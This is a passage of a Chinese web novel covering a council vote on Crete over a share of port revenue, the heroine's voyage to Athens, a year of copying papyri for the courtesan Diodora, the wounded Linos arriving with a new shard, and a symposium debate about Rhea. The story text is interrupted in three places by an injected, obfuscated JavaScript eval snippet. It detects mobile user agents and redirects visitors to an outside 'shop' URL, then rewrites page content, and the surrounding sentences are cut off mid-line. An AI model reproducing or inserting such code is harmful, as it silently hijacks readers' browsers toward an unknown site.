“我在说实话。”克里同站起身,面向所有科斯摩成员,也面向台下的公民,“三天前,地脉停止震动。这件事,你们都亲眼看到了。但你们中应该还有人不知道的是——它为什么停止。” 他顿了顿,目光扫过每一个人。 “是她。”他指向阿尔克提斯,“用古老神明留下的技艺,稳住了地脉。” 台下响起一阵骚动。有人喊“不可能”,有人喊“古老的骗人把戏”,也有人沉默地注视着阿尔克提斯,眼中带着复杂的情绪。 拉奥达马斯缓缓站起。他的声音苍老,却清晰有力。 “克里同,你三个月前还在说,祭司们那些古老神明的技艺全是骗人的鬼话。现在你改口了?” 克里同看着他,没有回避。 “三个月前,我没见过那些空洞的躯壳。三个月前,我不知道这座岛下面埋着的东西,比我们所有人的祖先加起来都古老。” 拉奥达马斯沉默了一瞬,然后缓缓坐下。他没有再说话,但他眼中闪过一丝满意。 攸布洛斯的另一个盟友站起来:“就算地震停了,也不能证明是她做的!也许是凑巧,也许是神不再发怒,自己离开了——” “够了。”阿尔克提斯终于开口。她站起身,走到石台中央,面对所有人。 “攸布洛斯,你儿子的船队每个月从港口运走多少货物?” 攸布洛斯一愣,脸色微变。 “你,”阿尔克提斯指向另一个贵族,“你家的橄榄油有一半卖到埃及,走的是海路。” 她又指向第三个,第四个——每一个都是克里同的盟友,但每一个都与港口贸易有着千丝万缕的联系。 “地震那几天,港口封闭了三天。你们的货船出不去,进来的船也进不来。三天,你们损失了多少钱?” 沉默。 阿尔克提斯转向台下那些公民,那些渔民、商人、工匠。 “你们呢?港口封闭,你们有多少人三天没有收入?” 人群中开始有人点头。 阿尔克提斯又转向那些沉默的山民弓箭手。 “我的族人,世代守护这片土地。他们不靠港口吃饭,他们靠山里的猎物和牧群。地震来了,他们损失的是羊,是房子,是命。但他们没有一个人逃跑,没有一个人抱怨。因为他们知道,这片土地如果死了,他们也无处可去。” 她转回身,面对科斯摩。 “我不是来求你们相信我的。我是来告诉你们一个事实——地脉是真实的,那个入侵者是真实的,如果你们继续吵下去,下次地震来的时候,港口就不是封闭三天,而是永远封闭。到时候,你们的货船,你们的橄榄油,你们的埃及生意,全都沉到海底。” 攸布洛斯脸色铁青,却说不出话。 克里同沉默了很久。 然后,他做了一个所有人都没想到的举动。 他走到阿尔克提斯面前,看着她。 “你说的那个入侵者——那个拿走了古老遗物的人——他还会回来?” “会。” “他回来的时候,你有办法对付他?” “有。但需要整个科斯摩的支持。不只是我,不只是山民,是所有人。” 克里同转过身,面向他的盟友。 “攸布洛斯,你的船队还需要港口。你,你,还有你——”他指向那几个人,“你们的橄榄油,你们的陶器,你们的羊毛,都需要港口。” 没有人反驳。 克里同又看向拉奥达马斯和那些支持他的古老家族。 “你们想要什么?” 拉奥达马斯缓缓开口,声音苍老却清晰:“我们要港口营收的三成,作为守护地脉的献祭。这笔钱,由阿尔克提斯掌管,用于维护那些古老遗迹,供养守护者。” 克里同眯起眼睛。 拉奥达马斯说的“守护者”,就是那些山民弓箭手。而“港口营收的三成”,是一个巨大的数字。而且大祭司家族原本在港口就有近两成的营收,这是克里同一直觊觎的。如今不仅偷鸡不成,从今往后,港口赚的钱,会有近五成要流进阿尔克提斯和她盟友的口袋。 攸布洛斯猛地站起来:“这是勒索!” 拉奥达马斯看着他,平静地说:“这是交易。你的船队平安出海,你的货物平安到达,你赚的钱,分给我们一点,让我们有能力保护这一切。攸布洛斯,你觉得不划算?” 攸布洛斯张了张嘴,却发不出声音。 克里同沉默了很久。他计算着得失,计算着支持者和反对者的数量,计算着港口营收的数字,计算着如果拒绝,下一次地震来临时,他会失去什么。 最终,他看向阿尔克提斯。 “三成太多。两成。” 阿尔克提斯迎着他的目光。 “两成五。不能再少。我需要钱养弓箭手,需要钱修那些遗迹,需要钱寻找最终解决的途径。” 克里特在心里默默补上了阿尔克提斯的未竟之言:需要钱买通那些摇摆不定的长老,需要钱在科斯摩里争取更多的支持。 克里同看着这个充满野心的女人,眼中闪过一丝复杂的情绪——也许是欣赏,也许是警惕,也许是他自己都不愿承认的某种东西。 “两成五。”他最终说,“但我要派人监督这笔钱的去向。” “可以。”阿尔克提斯说。 传令官看向克里同。 克里同点了点头。 “表决。”传令官宣布,“关于设立地脉守护金,由阿尔克提斯掌管,份额为港口营收两成五的提案——同意的,请举手。” 十个人,举起了七只手。 攸布洛斯和他的两个盟友没有举手,但也没有反对。 提案通过。 阿尔克提斯赢了。 不是彻底的胜利——她只是赢得了一笔钱和有限的权力,克里同依然是首席,攸布洛斯那些人还在。但对一个三天前还在被追捕、十天前还被视为叛徒和渎神者的人来说,这已经是奇迹。 拉奥达马斯站起身,走到她身边。 “你做得很好。”他低声说,“比你父亲当年还好。” 阿尔克提斯看着他,眼中闪过一丝波动。 “谢谢。” 拉奥达马斯点了点头,转身走下石台。他的山民护卫跟在他身后,消失在人群中。 克里同也走过来。 “现在,你满意了?” 阿尔克提斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226112|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他,目光平静。 “现在,我们该做正事了。” 她转身,面对台下的公民,面对那些士兵、渔民、商人、妇女。 “从今天起,港口要加强警戒,所有外来船只必须接受检查。山里的那些遗迹,不许任何人私自进入。我会用这笔钱,组织人手守护它们。” 人群中有人喊:“那我们的生意呢?!” 阿尔克提斯看向那个方向,是一个年轻商人,满脸不服气。 “你们的生意照做。只是以后,每一艘船出港前,要先让我的弓箭手看一眼。” “凭什么?!” “凭我可以让地震停下来。”阿尔克提斯的声音平静,“你也可以选择不信我。但下次地震时,别来找我。” 商人张了张嘴,最终没有说出什么。 人群缓缓散去。 --- 余茶站在广场边缘,看着这一切发生。 “她赢了。”利诺斯说,语气里听不出是赞赏还是讽刺。 “暂时。”余茶回答。 阿尔克提斯走下石台,向他们走来。艾拉跟在身后,手里捧着一个用布包裹的东西。 布包里是——那五块碎片。石台钥匙、青铜耙子、黑色吊坠、陶片、黑色木杖。它们静静地躺在那里,冰冷沉寂,没有任何光芒。 “这些东西,如果你们想带走,我会同意。”阿尔克提斯看着余茶说。 余茶伸手触摸那些碎片。冰冷,坚硬,如同普通的石头或金属。那种曾经与她共鸣的温热感,彻底消失了。 “它们死了。”她低声说。 “也许只是累了。”阿尔克提斯静静看着她,“就像你一样。” 余茶没有回答。 “那面铜镜呢?”利诺斯问。 阿尔克提斯摇头:“那个年轻人带着铜镜上船,向北驶去。至于去了哪里——” “雅典。”余茶说。 阿尔克提斯看着她,等她说下去。 “铜镜背面的铭文,最外圈那种文字……是东方的。要去东方,必须先经过雅典。那里有文献,有学者,有人可能知道那些文字的意思。” “你要去雅典?”阿尔克提斯问。 “我必须去。”余茶说,“那些铭文,是我唯一能破解的东西。如果我留在这里,只是一个废人。” 阿尔克提斯沉默了很久。她看着余茶,看着她苍白的脸、干裂的嘴唇、以及那条完全无法用力的左腿。 “你这样的身体,怎么去?” “走不了,就坐船。船到了,就有人抬。”余茶的声音平静,“我不需要腿,我需要的是脑子。” 阿尔克提斯看着她,眼神中含着敬佩、怜悯,但更多的是认同。 “我会给你安排船。还有足够的钱,让你在雅典活下去。”她说,“至于利诺斯——” “我跟着。”利诺斯说,语气平淡。 阿尔克提斯看着他:“你都这样了,还要去?” 利诺斯沉默了一瞬,然后扯出一个惯常的、漫不经心的笑。 “好奇心旺盛的诗人本就该流浪。而且——”他顿了顿,“雅典的酒,比这里的好。” 阿尔克提斯没有戳穿这个拙劣的借口。 “那就一起去。”她说,“到了雅典,找一个叫狄奥多拉的女人。她是……我年轻时认识的朋友。她会帮你们。” 她从怀中取出一枚小小的铜印章,递给余茶。 “拿着这个。她认这东西。” 余茶接过印章。铜质,温润,上面刻着一只展翅的猫头鹰——雅典的象征。 “谢谢。”她说。 阿尔克提斯摇了摇头。 “不用谢我。我们……只是都在做自己该做的事。” 她转身,向港口的方向走去。艾拉跟在她身后。 走了几步,她又停下,回过头。 “余茶。” 余茶看着她。 “活着回来。” 余茶没有回答,只是点了点头。 阿尔克提斯转身离去,再也没有回头。 --- 傍晚,一艘小型商船驶出港口,向北方驶去。 余茶站在船尾,看着暮色中渐渐远去的克里特岛。岛屿的轮廓在夕阳下镀上一层金红色的光,山峰的阴影拉得很长,一直延伸到海面上。她看不见星之眼的位置,但她知道它在那里,沉默地等待着。 利诺斯靠在船舷上,同样望着那座岛。 “你说,我们还会回来吗?”他问。 余茶没有回答。 海风吹拂着她的头发,带来咸腥的气息。怀中那五块碎片依旧冰冷沉寂,但那面被夺走的铜镜,那些未被破解的铭文,那个冰灰色眼睛的年轻人,都在等待着她。 “不知道。”她终于说。 利诺斯没有再问。 夜色渐渐降临,海面上的光消失,只剩下船头的一盏油灯在黑暗中摇曳。 余茶低头看着手中的铜印章。猫头鹰的眼睛在灯光下闪闪发亮,仿佛在注视着她,也注视着那遥远的、未知的东方。 远处,海天相接的地方,一道若有若无的暗蓝色光芒一闪而逝,如同某种冰冷的注视,如同永远无法摆脱的命运。 船继续向北航行。 身后,克里特岛的轮廓渐渐融入夜色。 前方,雅典的灯火,即将在某个黎明时分的海平面上,缓缓浮现。 --- 这场无聊又致命的冒险终于暂时结束了...... 【第一卷·岛屿迷雾完】 42. 侍女 雅典的阳光比克里特更烈,也更白。 余茶站在狄奥多拉住所二楼的书房里,推开木窗,让午后的光线洒在铺满纸莎草卷的长桌上。窗外是陶器区的喧嚣——陶工的转盘声、窑火的噼啪声、商贩的叫卖声,混杂着驴子的嘶鸣,从狭窄的街道涌上来,像一锅永远煮沸的杂烩汤。 一年了。 她低头看着自己的左手。指节比一年前更粗,指尖磨出了茧——那是日夜抄写纸莎草卷留下的痕迹。左腿站着久了还是会隐隐作痛,但至少能正常走路。克里特岛的医者判断失误,那条腿保住了,只是从此走路带着轻微的跛,每一步都像在提醒她:你付过代价了。 代价。 她转过身,走回长桌前。桌上摊着她这一年所有的成果——十几张精心抄录的纸莎草,上面是她临摹的铜镜背面铭文拓片。三圈铭文:内圈系统符号,中圈是古老变体,外圈类甲骨文。 一年了,她只破解了不到三分之一。 内圈的符号她认出了一些——与星之眼石室中灌入她脑海的知识碎片吻合,是母神文明用来标记节点和能量流向的专用符号。中圈的变体,经过无数个夜晚的比对,她终于确认那是前荷马时代的一种祭祀密文,只在少数神庙的隐秘文献中出现过,记录的是被正统神话排除的内容。 外圈……几乎毫无进展。那些类甲骨文的刻痕,她只能认出几个反复出现的符号,可能与“东方”“太阳”“山”有关。但具体是什么意思,还需要更多的文献。 门外传来脚步声。余茶没有回头,她知道是谁。 “又在看这些?” 狄奥多拉的声音带着惯常的慵懒和一丝调侃。她走进书房,身上的香料味立刻充满了整个房间——不是那种浓烈的、廉价的香水,而是来自东方的没药和乳香,淡而悠远,像她的笑容一样让人捉摸不透。 余茶转过身。狄奥多拉今天穿着一件几乎透明的科斯岛野蚕丝制作的长袍,腰系金带,发髻高挽,露出修长的脖颈和耳垂上那对精致的金耳环。她比一年前更美了——或者说,更懂得如何运用自己的美。在雅典,美就是权力。 “普罗塔戈拉让人送来一卷新写的文章,”狄奥多拉走到长桌前,将一卷莎草纸随意扔在桌上,“关于诸神是否存在的那个论题。他要我抄一份,送给伯里克利的妻子。” 余茶看了一眼那卷莎草纸。普罗塔戈拉,雅典最著名的智者之一,狄奥多拉的情人之一,虽然没有被公开承认。余茶从不打听他们之间的事。在雅典这一年,她学会的最重要的事就是:不要问,不要说,只做事。 “我下午抄。”余茶说。 狄奥多拉走到窗边,倚着窗框,看着楼下熙熙攘攘的街道。午后的阳光在她脸上投下金色的光晕,美得像一尊雕塑。 “你还在想着那些符号?”她问,没有回头。 “一直在想。” “一年了。” “也许需要十年。” 狄奥多拉转过身,看着她。那双眼睛很特别——不是单纯的美丽,而是带着一种洞察一切的锐利,藏在慵懒的表面下,像猫的眼睛。 “你知道他们怎么说你吗?” 余茶等着她说下去。 “他们说,狄奥多拉新买了一个外邦奴隶,身材又矮又平,走路一瘸一拐,除了一头黝黑的长发和白皙的皮肤,一无是处,不知道用来干什么?”狄奥多拉嘴角勾起一丝笑意,“还有人说我疯了,放着那么多漂亮姑娘不要,偏要养一个……” “我不是奴隶。”余茶平静地打断她。 “我知道。”狄奥多拉走过来,在她对面坐下,“你是阿尔克提斯托付给我的人。但别人不知道。他们只看到你每天进出我的房子,抄写文书,整理书房,从不参加宴饮,从不和任何人交谈。在他们眼里,你就是个古怪的外邦侍女。” 余茶没有说话。 “你不打算解释?” “解释什么?” 狄奥多拉看着她,眼中闪过一丝欣赏。 “我越来越喜欢你了。”她说,“雅典的男人都太能说。一张嘴,可以把黑的说成白的,死的说成活的。女人也一样——我们这些所谓的高级伴侣,每个人都以为自己是个哲学家,张嘴就是哲学家说过什么。你不一样。你沉默。沉默的女人让人好奇。” 余茶拿起桌上的芦苇笔,开始蘸墨水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226113|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “普罗塔戈拉的那篇文章,我现在抄。” 狄奥多拉站起身,走到门口,又停下。 “今晚有个宴饮,”她说,“伯里克利会来,还有菲狄亚斯,以及几个从米利都来的客人。你来吗?” 余茶抬头看着她。 “你需要我?” “我需要一个帮我记录的人。”狄奥多拉说,“那些人的话,有时候比黄金还值钱。记下来,也许以后有用。” 余茶点了点头。 “我会去。” 狄奥多拉消失在门外。余茶低头看着面前的莎草纸,开始抄写普罗塔戈拉的文章。她的希腊文读写已经非常流利——这一年,她抄了几十卷书,从荷马史诗到自然哲学,从祭祀仪轨到城邦律法。她像一个海绵,贪婪地吸收着这个文明的一切。 但她的脑子里,始终转着那些铜镜上的符号。 东方。 那个方向,有另一种文明,另一种文字,另一种这里完全不了解的历史,可能是古老的中国,可能有她回家的线索。而那个冰灰色眼睛的年轻人——入侵者——也在寻找那里。他拿走了铜镜,也许已经走在了她前面。 她必须加快速度。 但怎么加快?雅典的图书馆她几乎翻遍了,所有能接触到的文献都查过,没有任何关于那种类甲骨文符号的记录。唯一可能的线索,是狄奥多拉偶尔提到的那些从东方来的商人——波斯人、吕底亚人、甚至更遥远的巴克特里亚人。但他们带来的货物里,从来没有文字。 也许她需要等。 也许她需要主动去找。 也许…… 窗外传来一阵骚动。余茶走到窗边,向下望去。 街道上,一群人正在围观什么。一个衣衫褴褛的男人倒在地上,浑身是血,周围站着几个穿皮甲的士兵。有人在喊“抓奸细”,有人在喊“打死他”。 余茶正要移开目光,突然愣住了。 那个倒在地上的人,虽然满脸血污,但她认出了那双眼睛。 淡琥珀色的眼睛。 利诺斯。 她猛地转身,扔下芦苇笔,一瘸一拐地冲下楼去。 43. 熟悉的来客 余茶冲下楼梯时,左腿的旧伤传来一阵刺痛,但她顾不上。她推开试图阻拦她的门房,一瘸一拐地冲进街道。 人群已经围成了一个圈,指指点点,却没人上前。几个穿着皮甲的士兵站在中间,其中一人正用脚踢着地上那团蜷缩的身影。 “起来!别装死!” 地上的男人没有动。血从他额头的伤口流下来,混着泥土,在石板和泥土路上蜿蜒成一小条暗红色的细流。 “让开。” 余茶的声音不大,但很稳。那几个士兵回过头,看到一个穿着朴素长袍、走路微跛的女人站在他们面前,顿时皱起眉头。 “你是谁?” “狄奥多拉的人。”余茶没有停下脚步,径直走到那团身影旁边,蹲下身。 淡琥珀色的眼睛半睁着,浑浊,没有焦点。但就在余茶靠近的瞬间,那双眼睛微微动了一下,仿佛在确认什么。 利诺斯的嘴唇动了动,没有发出声音。 “你认识他?”一个士兵走上前,手按在剑柄上。 余茶没有抬头。她用袖子擦去利诺斯脸上的血,检查他身上的伤口——左肩有一道刀伤,不深,但流了不少血;肋骨处有大片淤青,可能断了一两根;最严重的是后脑,鼓着一个大包,还在渗血。 “他犯了什么事?”余茶问。 士兵哼了一声:“从比雷埃夫斯港一路跟着商队进来的,鬼鬼祟祟,问他话说不清楚。不是奸细是什么?” 余茶抬起头,看着那个士兵。 “他说什么了?” “他说要找什么人。叫什么……余茶?一个外邦女人的名字。谁听过?”士兵冷笑,“雅典城里外邦人多了,他说出这么个名字是糊弄谁?” 余茶心中疑惑,但她脸上没有任何表情。 “他欠狄奥多拉的钱。”她站起身,声音平静得像在说今天天气不错,“一年前从克里特来雅典,借了钱,跑了。现在总算让我抓到。人我要带回去,交给狄奥多拉处置。” 士兵们面面相觑。其中一个似乎想说什么,但被年长的那个拦住了。 “狄奥多拉?”年长的士兵打量着余茶。她的衣着朴素,没有首饰,走路微跛,实在不像什么重要人物。但狄奥多拉的名字,在雅典没有人会轻视。 “有凭证吗?” 余茶从怀中掏出那枚铜印章。猫头鹰展翅,雅典的象征。狄奥多拉亲手交给她的,让她在必要时使用。 年长的士兵看了一眼,轻笑一声。 “带走。”他挥了挥手,“告诉狄奥多拉,下回管好她的人。” 余茶没有争辩。她蹲下身,试图把利诺斯扶起来。但她的力气不够,利诺斯比她高一个头,昏迷的人又格外沉重。她踉跄了一下,差点摔倒。 人群里挤出两个人——是狄奥多拉家厨房的帮工。帮工看了余茶一眼,没有说话,弯腰把利诺斯扛上肩膀。另一个帮工扶住余茶,小声问:“没事吧?” 余茶摇了摇头。 他们穿过人群,走进狄奥多拉的院子。门关上,隔绝了外面那些好奇的目光。 --- 利诺斯被安置在仆人房旁边的一间小屋里。一个帮工把他放在床上就走了,另一个帮工端来一盆水和干净的布条,也退了出去。只剩余茶一个人,坐在床边,看着这个一年未见的男人。 一年前,利诺斯把她送到雅典后,刚找到落脚的旅店,准备打听狄奥多拉,突然当晚一个陌生的大汉来找利诺斯,之后利诺斯便一去不回。 他比一年前更瘦,脸上的线条嶙峋,颧骨高耸,眼窝深陷。头发乱成一团,胡子也没刮,像从哪个阴沟里爬出来的野狗。 但他的右手,即使昏迷,依然攥着什么东西。余茶掰开他的手指——一个巴掌大小的皮囊,缝得粗糙,但很结实。她打开皮囊,里面是一块用粗亚麻布层层包裹的东西。 解开亚麻布。 一块陶片。巴掌大小,边缘不规则,表面刻着一圈她熟悉的符号——那种线形文字A的变体,和铜镜内圈的符号同源。陶片的一角,有一个小小的孔洞,像是曾经被穿绳佩戴过。 碎片。不是那五块之一,是一块新的,她从未见过的碎片。 余茶翻转陶片,背面也有刻痕——不是文字,而是一幅简略的地图:几道线条,一个圆圈,圆圈旁边画着一个简单的符号:一个太阳,下面有三道波浪线。 太阳从海上升起。东方。 她盯着那幅地图,想起前段时间收到的阿尔克提斯信里说的:还有一片碎片,没有死,还在发光。它指向东方。 信中阿尔克提斯没有提到利诺斯,利诺斯从哪里找到的? 床上的人发出一声低哑的呻吟。余茶放下陶片,看向他。 利诺斯的眼皮动了动,缓缓睁开。那双淡琥珀色的眼睛浑浊了一瞬,然后慢慢聚焦,落在余茶脸上。 沉默。 很长很长的沉默。 然后,利诺斯的嘴角扯出一个虚弱的、惯常的弧度——那种余茶熟悉的、漫不经心的、让人想揍他的笑。 “一年不见,”他的声音沙哑得像砂纸,“你还是这么矮。” 余茶没有笑。 “你怎么来的?” 利诺斯挣扎着想坐起来,牵动了伤口,倒吸一口冷气。余茶扶住他的肩膀,把他按回床上。 “别动。” 利诺斯躺回去,看着天花板。 “从克里特来的。坐船。”他说,“比雷埃夫斯港下船,跟着商队进城。然后被那几个蠢货盯上,打了一顿——” “你回了克里特?阿尔克提斯怎么样了?” 利诺斯沉默了一瞬。 “在克里特,活得很好。”他说,“科斯摩里她站稳了脚,拉奥达马斯那些古老家族支持她,山民弓箭手守着港口。那个入侵者——这半年没出现过。” “那你怎么来了?” 利诺斯转过头,看着她。 “阿尔克提斯让我来给你送东西。” 余茶拿起那块陶片,看着他。 “这个?” 利诺斯点头。 “她在哪儿找到的?” “艾拉。”利诺斯说,“你走之后,艾拉又去了南湾礁石,在那条水道更深的地方找到的。她说,那里还有一个洞穴,入口被碎石堵住了,她花了三天才挖开。里面什么都没有,就只有这块陶片,挂在岩壁上,像是一直在等人来拿。” 余茶沉默地看着那块陶片。挂在岩壁上——像供奉,像等待,也像最后的守视者留下的遗言。 “阿尔克提斯说,”利诺斯继续道,“这东西一直在发光。很微弱,但她能感觉到。她试过用它连接地脉,但没有反应。她猜测,这个不是在等被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226114|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使用,而是在等被带往某个地方。” 余茶看着陶片背面的地图。太阳从海上升起。那里有什么?另一座岛?另一片大陆?还是公元前5世纪的古中国? “她让你专门跑一趟,就为了送这个?” “她付了钱。”利诺斯说,语气平淡,“很多钱。” 余茶没有问多少钱。她把陶片小心地用粗亚麻布包好,收进怀里,和那枚铜印章放在一起。 “你的伤——那些士兵打的?” 利诺斯扯出一个笑:“他们问我是谁,我说来找人。他们问我找谁,我说余茶。他们问余茶是谁,我说不知道,反正来了就能找到。然后他们就开始打了。” 余茶看着他。 “你直接说狄奥多拉不就行了?” “万一,一年前你没去找她呢?”利诺斯闭上眼睛,“而且,狄奥多拉在雅典过于风光,我一个穷游吟诗人,直接找她,容易被人盯上。” 余茶心想,现在也没区别。但她保持了安静。 门外传来脚步声。狄奥多拉的声音响起,带着惯常的慵懒和一丝若有若无的笑意: “听说你从街上捡了条野狗回来?” 她推开门,走进小屋。目光落在利诺斯身上,从上到下打量了一遍,嘴角勾起一个意味深长的弧度。 “长得还行,”她说,“就是脏了点。” 利诺斯也看着她,同样在打量。两个目光在空中相遇,像两只猫在对峙。 “狄奥多拉,”余茶说,“这是利诺斯。从克里特来的。” “我知道。”狄奥多拉走到床边,居高临下地看着利诺斯,“阿尔克提斯来信说过你。一个自称只对享乐和生存感兴趣的男人。在克里特的时候,你救过她的命。” 利诺斯扯出一个笑:“她过誉了。” 狄奥多拉没有接话。她转向余茶。 “他带来的东西重要吗?” 余茶点头。 “那今晚的宴饮,你还来吗?” 余茶沉默了一瞬。然后,她站起身,把利诺斯留在床上。 “来。” 她走到门口,又停下,回头看着利诺斯。 “你好好休息。明天,我有事问你。” 利诺斯点了点头,闭上眼睛。 狄奥多拉跟着余茶走出小屋,轻轻关上门。 “他是什么人?”她问。 “救过我性命,但我还不确定能不能信的人。”余茶说。 狄奥多拉笑了。 “那正好。今晚宴饮上,有一个从米利都来的客人,自称去过很多地方,见过很多奇怪的事。也许,他能告诉你一些事。” 余茶看着她。 “你怎么知道我在找什么?” 狄奥多拉的笑容更深了。 “你每天晚上抄的那些符号,我又不是瞎子。”她说,“阿尔克提斯托我照顾你,但没说不让我看。” 余茶沉默了一瞬。 “谢谢。” 狄奥多拉摆了摆手,向楼上走去。 “去准备吧。今晚穿那件蓝色的。你太苍白,蓝色衬你。” 余茶站在原地,看着她的背影消失在楼梯尽头。然后,她低头看向自己怀里——那块陶片,那幅指向东方的简略地图,和那枚揣在身上的铜印章。 东方,真的指向古老的中国吗? 44. 宴饮上的影子 傍晚的余晖将雅典卫城的帕特农神庙镀上一层金色。余茶站在狄奥多拉的房间里,任由侍女为她整理长袍的褶皱。蓝色的羊毛料子质地柔软,垂坠感很好,腰间系一条银色的带子,简单却不失雅致。这是狄奥多拉为她准备的——不是奴仆的装束,也不是宾客的盛装,而是一种微妙的中间状态,让人既不会轻视,也不会过分关注。 这正是余茶需要的。 她对着铜镜看了一眼自己。镜中那张脸在雅典待了一年后,晒黑了一些,但依旧比本地人白得多。鼻子高挺,是她五官中最显眼的部分,其他都平平——相对较矮,不胖不瘦,H型的身材在长袍下几乎看不出曲线。在希腊人眼中,这样的女人大概只能算是平凡无趣。 很好。无趣的人,最容易被忽略。 “准备好了?”狄奥多拉出现在门口。她今晚穿着一件酒红色的长袍,金质腰带,发髻上插着三支精致的金簪,耳坠是两颗拇指肚大小的珍珠。美得张扬,美得让人移不开眼。 “走吧。”余茶说。 她们穿过庭院,登上等候在门外的马车。狄奥多拉靠在软垫上,看着掠过的街道。 “今晚的主人是一个来自米利都的富商,”她说,“他叫赫摩提摩斯,据说和萨摩斯的僭主有交情,最近搬到雅典来住。他今晚请了很多人——伯里克利会来,菲狄亚斯也会来,还有几个诗人,几个哲学家。” 余茶听着,没有说话。 “你注意那个叫阿伽通的年轻人,”狄奥多拉继续说,“他最近在写一部悲剧,据说是关于冥界的。他喜欢和人争论诸神的起源,也许会说出一些有趣的话。” 马车停在了一座气派的宅邸前。门房拉开大门,她们沿着铺满鹅卵石的小径走进庭院。庭院中央有一座喷泉,泉水在火把的光下闪闪发亮。周围已经聚集了几十个人,三三两两地交谈着。 狄奥多拉一出现,立刻有人围上来。余茶悄然后退一步,隐入人群边缘的阴影里。 她找到一个靠近廊柱的位置,既能看清整个庭院,又不会太显眼。侍者端着酒走过,她取了一杯,却不喝,只是端着,做一个在场的姿态。 人们的话题很杂——伯里克利的演讲、斯巴达的威胁、最新的戏剧、某个诗人的新作。余茶听着,记着,偶尔有人看她一眼,随即移开目光。正如她所愿。 一个声音从旁边传来,带着浓重的爱奥尼亚口音: “你是狄奥多拉的人?我没见过你。” 余茶转过头。一个中年男人站在她身边,穿着讲究,但微微发福,脸上带着商人特有的精明和好奇。 “我是她的文书。”余茶说。 “文书?女人?”那男人挑起眉毛,随即又笑了,“狄奥多拉总是出人意料。我叫赫摩提摩斯,今晚的主人。” 余茶微微点头致意。 赫摩提摩斯打量着她,目光在她脸上停留了一瞬——也许是那张苍白的脸,也许是那个高挺的鼻子,总之他多看了一眼。 “你不是雅典人。” “克里特来的。” “克里特?”赫摩提摩斯眼中闪过一丝兴趣,“那个岛我年轻时去过一次。听说那里有很多古老的遗迹,比雅典的还古老。还有那些祭司家族,世代相传的秘术——” “赫摩提摩斯!”有人喊他。他抱歉地笑了笑,转身离开。 余茶继续站在原地,看着庭院里的人。有人在争论什么,声音越来越高。她认出其中一个——那是阿伽通,一个年轻俊美的诗人,正激动地挥舞着手臂。 “你们说的不对!”阿伽通的声音穿透人群,“冥界的女王不是宙斯的女儿!她比宙斯古老得多!” 周围几个人笑起来,有人调侃道:“阿伽通又在胡说了。” “我没有胡说!”阿伽通涨红了脸,“你们去问那些老祭司,问那些古老的歌谣——珀耳塞福涅之前,冥界是另一个女神掌管的!” 一个年长些的男人摇头:“那是俄耳甫斯教徒的鬼话,你信那个?” “俄耳甫斯教徒至少还知道一些被你们遗忘的东西!”阿伽通不甘示弱,“他们说冥界的女王叫得墨忒耳?不对,得墨忒耳是农业女神,和冥界无关。他们说的是另一个名字——赫卡忒?也不是。是更古老的名字,被遗忘了……” 余茶端着酒杯,一动不动。 阿伽通还在说:“还有潘多拉!你们都知道潘多拉的故事——第一个女人,带来了灾难,打开了盒子。但你们知道更古老的版本吗?潘多拉原本是大地女神的化身,是赐予者,不是惩罚者!” 人群里有人嗤笑:“又是那些野蛮人的传说。” “这不是野蛮人的传说!”阿伽通急了,“这是我从萨摩斯一个老祭司那里听来的!他说,在很古很古的时候,那些我们现在知道的很多女神,原本是一个女神——一个很大的女神。后来不知道怎么回事,她分成了好几个,有的管天,有的管地,有的管冥界,有的管丰收。她的力量被分散了,她的名字被遗忘了,她的神庙被拆掉,改成了别的神的庙。” 沉默了一瞬,然后有人问:“那个女神叫什么?” 阿伽通张了张嘴,却说不出。 “你看,你连名字都不知道。” 阿伽通涨红了脸,却说不出话来。 就在这时,一个声音从人群边缘响起,沉稳,平静: “瑞亚。” 众人转头看去。说话的是一个五十来岁的男人,穿着朴素,但气质沉静,眼神深邃。他站在廊柱旁边,手里也端着一杯酒,似乎一直在旁听。 “瑞亚?”有人皱眉,“那是宙斯的母亲,克洛诺斯的妻子,怎么会是——” “那是后来的版本。”那男人说,“在更古老的传说中,瑞亚是万物之母,是大地本身,是天、地、冥界三位一体的主宰。后来,她的形象被分裂——天的那部分变成了赫拉,地的那部分变成了得墨忒耳,冥界的那部分变成了珀耳塞福涅。她自己则被贬为宙斯的母亲,一个次要的角色。” 有人不服气:“证据呢?” 那男人微微一笑:“你去克里特岛看看。那里的洞穴里,还供奉着瑞亚的古老神像。她坐在宝座上,两旁是狮子,头顶是星空,脚下是大地。那才是她本来的样子。” 余茶端着酒杯的手指微微收紧。 克里特岛。 